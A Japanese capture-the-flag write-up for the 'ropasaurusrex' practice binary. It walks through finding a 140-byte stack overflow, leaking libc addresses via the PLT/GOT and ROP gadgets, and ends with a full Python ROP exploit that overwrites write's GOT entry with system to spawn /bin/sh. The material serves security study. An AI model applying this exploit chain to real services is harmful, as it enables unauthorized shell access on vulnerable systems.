ropasaurusrexのwriteup [level 1]
まずは動作確認から。
r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex aaaa WIN
実行すると入力待ちになり、文字を適当に入力するとWINと返すようです。
次に長い文字列を入力してみると
r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex fjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (コアダンプ)
Segmentation faultが返ってくることから領域を超えた書き込みが可能ということが分かります。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$
NXが有効なのでスタック上ではシェルコードを実行できない。
これに対して、GOTのwriteに相当する箇所をsystem関数に書き換えてwrite関数が呼ばれたときにsystem("bin/sh")が実行されるようにスタックに積んでいく。
もう少し詳しくまとめると
libcにあるsystem関数を呼び出したい
=>system関数のアドレスが知りたい ※libcの先頭アドレスからwriteやsystemまでいくつ離れているかはコマンドを叩けば分かる
=>libcの先頭アドレスが知りたい
=>got writeアドレスが分かれば、オフセットは分かっているのでlibcの先頭アドレスが分かる。
=>plt writeでgot writeのアドレスをリーク。
=>plt readを使って書き換える。
という目標の逆の順番で一つ一つ解決していく。
ちなみに
ldd ./実行ファイルでどのlibcを使っているかが分かる。
nm -D libcファイル | grep "write"でwriteとlibcの先頭アドレスのオフセットが分かる。
gdb-peda上でropgadgetとコマンドを打つとpop3retのアドレスが分かる
got tableを見るにはreadelfコマンドで各セクションを表示させ、gotの先頭アドレスを[telescop gotのアドレス]とする。
gdb-peda$ pattc 256 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G' gdb-peda$
このパターン文字列を実行後の入力待ちの際に入力することによってreturnまでの長さがわかる。
[----------------------------------registers-----------------------------------] EAX: 0x100 EBX: 0x0 ECX: 0xffffd020 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\214\320\377\377") EDX: 0x100 ESI: 0xf7fa3000 --> 0x1d4d6c EDI: 0x0 EBP: 0x41514141 ('AAQA') ESP: 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") EIP: 0x41416d41 ('AmAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41416d41 [------------------------------------stack-------------------------------------] 0000| 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0004| 0xffffd0b4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0008| 0xffffd0b8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0012| 0xffffd0bc ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0016| 0xffffd0c0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0020| 0xffffd0c4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0024| 0xffffd0c8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") 0028| 0xffffd0cc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV gdb-peda$ patto $eip 1094806849 found at offset: 140 gdb-peda$
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ ldd ropasaurusrex linux-gate.so.1 (0xf7f35000) libc.so.6 => /lib32/libc.so.6 (0xf7d2f000) /lib/ld-linux.so.2 (0xf7f37000) r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "write" 00136a80 T _IO_do_write 00072730 T _IO_do_write 00136400 T _IO_file_write 000714f0 T _IO_file_write 00066380 T _IO_fwrite 0006c020 T _IO_wdo_write 000e2b40 T __libc_pwrite 000e2ca0 W __pwrite64 000e5650 W __write 000f7540 T eventfd_write 00066380 W fwrite 00070040 T fwrite_unlocked 000f82d0 T process_vm_writev 000e2b40 W pwrite 000e2ca0 W pwrite64 000eec40 T pwritev 000ef040 T pwritev2 000eecf0 T pwritev64 000ef190 T pwritev64v2 000e5650 W write 000eea40 W writev r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "system" 0003cc70 T __libc_system 001270f0 T svcerr_systemerr 0003cc70 W system r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
pltの各アドレスはobjdumpで確認できます。
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ objdump -d ropasaurusrex | grep plt 80482c3: e8 00 00 00 00 call 80482c8 <__gmon_start__@plt-0x34> 80482d7: 74 05 je 80482de <__gmon_start__@plt-0x1e> 80482d9: e8 1e 00 00 00 call 80482fc <__gmon_start__@plt> 80482de: e8 ed 00 00 00 call 80483d0 <read@plt+0xa4> 80482e3: e8 d8 01 00 00 call 80484c0 <read@plt+0x194> セクション .plt の逆アセンブル: 080482ec <__gmon_start__@plt-0x10>: 080482fc <__gmon_start__@plt>: 8048307: e9 e0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804830c <write@plt>: 8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804831c <__libc_start_main@plt>: 8048327: e9 c0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804832c <read@plt>: 8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 804835c: e8 bb ff ff ff call 804831c <__libc_start_main@plt> 804837e: 75 3f jne 80483bf <read@plt+0x93> 8048398: 73 1e jae 80483b8 <read@plt+0x8c> 80483b6: 72 e8 jb 80483a0 <read@plt+0x74> 80483dd: 74 12 je 80483f1 <read@plt+0xc5> 80483e6: 74 09 je 80483f1 <read@plt+0xc5> 8048416: e8 11 ff ff ff call 804832c <read@plt> 8048426: e8 c9 ff ff ff call 80483f4 <read@plt+0xc8> 8048442: e8 c5 fe ff ff call 804830c <write@plt> 8048466: e8 4f 00 00 00 call 80484ba <read@plt+0x18e> 8048474: e8 43 fe ff ff call 80482bc <__gmon_start__@plt-0x40> 804848c: 74 24 je 80484b2 <read@plt+0x186> 80484b0: 72 de jb 8048490 <read@plt+0x164> 80484cf: 74 13 je 80484e4 <read@plt+0x1b8> 80484e2: 75 f4 jne 80484d8 <read@plt+0x1ac> 80484f3: e8 00 00 00 00 call 80484f8 <read@plt+0x1cc> 80484ff: e8 6c fe ff ff call 8048370 <read@plt+0x44> r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
readelfで各セクションのアドレスを見てgotセクションのアドレスをgdbのtelescopeでwriteのgotアドレスを確認します。
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ readelf -S ropasaurusrex There are 28 section headers, starting at offset 0x724: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048148 000148 000024 00 A 0 0 4 [ 4] .hash HASH 0804816c 00016c 00002c 04 A 6 0 4 [ 5] .gnu.hash GNU_HASH 08048198 000198 000020 04 A 6 0 4 [ 6] .dynsym DYNSYM 080481b8 0001b8 000060 10 A 7 1 4 [ 7] .dynstr STRTAB 08048218 000218 000050 00 A 0 0 1 [ 8] .gnu.version VERSYM 08048268 000268 00000c 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 08048274 000274 000020 00 A 7 1 4 [10] .rel.dyn REL 08048294 000294 000008 08 A 6 0 4 [11] .rel.plt REL 0804829c 00029c 000020 08 A 6 13 4 [12] .init PROGBITS 080482bc 0002bc 000030 00 AX 0 0 4 [13] .plt PROGBITS 080482ec 0002ec 000050 04 AX 0 0 4 [14] .text PROGBITS 08048340 000340 0001ac 00 AX 0 0 16 [15] .fini PROGBITS 080484ec 0004ec 00001c 00 AX 0 0 4 [16] .rodata PROGBITS 08048508 000508 00000d 00 A 0 0 4 [17] .eh_frame PROGBITS 08048518 000518 000004 00 A 0 0 4 [18] .ctors PROGBITS 0804951c 00051c 000008 00 WA 0 0 4 [19] .dtors PROGBITS 08049524 000524 000008 00 WA 0 0 4 [20] .jcr PROGBITS 0804952c 00052c 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049530 000530 0000d0 08 WA 7 0 4 [22] .got PROGBITS 08049600 000600 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049604 000604 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049620 000620 000008 00 WA 0 0 4 [25] .bss NOBITS 08049628 000628 000008 00 WA 0 0 4 [26] .comment PROGBITS 00000000 000628 00001c 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 000644 0000de 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
gdb-peda$ telescope 0x08049600 0000| 0x8049600 --> 0x0 0004| 0x8049604 --> 0x8049530 --> 0x1 0008| 0x8049608 --> 0xf7ffd940 --> 0x0 0012| 0x804960c --> 0xf7fead80 (push eax) 0016| 0x8049610 --> 0x8048302 (<__gmon_start__@plt+6>: push 0x0) 0020| 0x8049614 --> 0x8048312 (<write@plt+6>: push 0x8) 0024| 0x8049618 --> 0xf7de6d90 (<__libc_start_main>: call 0xf7f02bd9) 0028| 0x804961c --> 0xf7eb3580 (<read>: push esi) gdb-peda$
pop3retはgdb-pedaでropgadgetと打つと確認できます。
pop3retはreadやwriteが関数の処理から返ってきた時に3つの引数を消すために必要なんです。
ret = 0x80482ca popret = 0x80483c3 pop2ret = 0x80483c2 pop3ret = 0x80484b6 pop4ret = 0x80484b5 addesp_12 = 0x80483bf addesp_44 = 0x80484b2 gdb-peda$
必要な情報はこれで揃ったので、これらの情報を使ってプログラムを組みます。
#!/usr/bin/python # -*- coding:utf-8 -*- import socket, struct, telnetlib # --- common funcs --- def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] # --- main --- s, f = sock("localhost", 4088) # 接続 plt_write = 0x0804830c plt_read = 0x0804832c got_write = 0x8049614 offset_write = 0x000e5650 offset_system = 0x0003cc70 pop3ret = 0x80484b6 bss_address = 0x08049628 buf = "A"*140 #returnアドレスまでの埋め草 buf += p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4) #writeアドレスのリーク(1) buf += p(plt_read) + p(pop3ret) + p(0) + p(bss_address) + p(8) #bssに入力されたものを書き込む(2) buf += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4) #got_writeに入力されたものを書き込む(3) buf += p(plt_write) + p(0xdeadbeef) + p(bss_address) #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4) f.write(buf) libc_system_address = u(f.read(4)) - offset_write + offset_system #リークされたwriteアドレスからoffset_writeを引いて #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) f.write("/bin/sh\0") #bssに"/bin/sh\0"を書き込む(2) f.write(p(libc_system_address)) #got_writeにsystem関数のアドレスを書き込む(3) shell(s)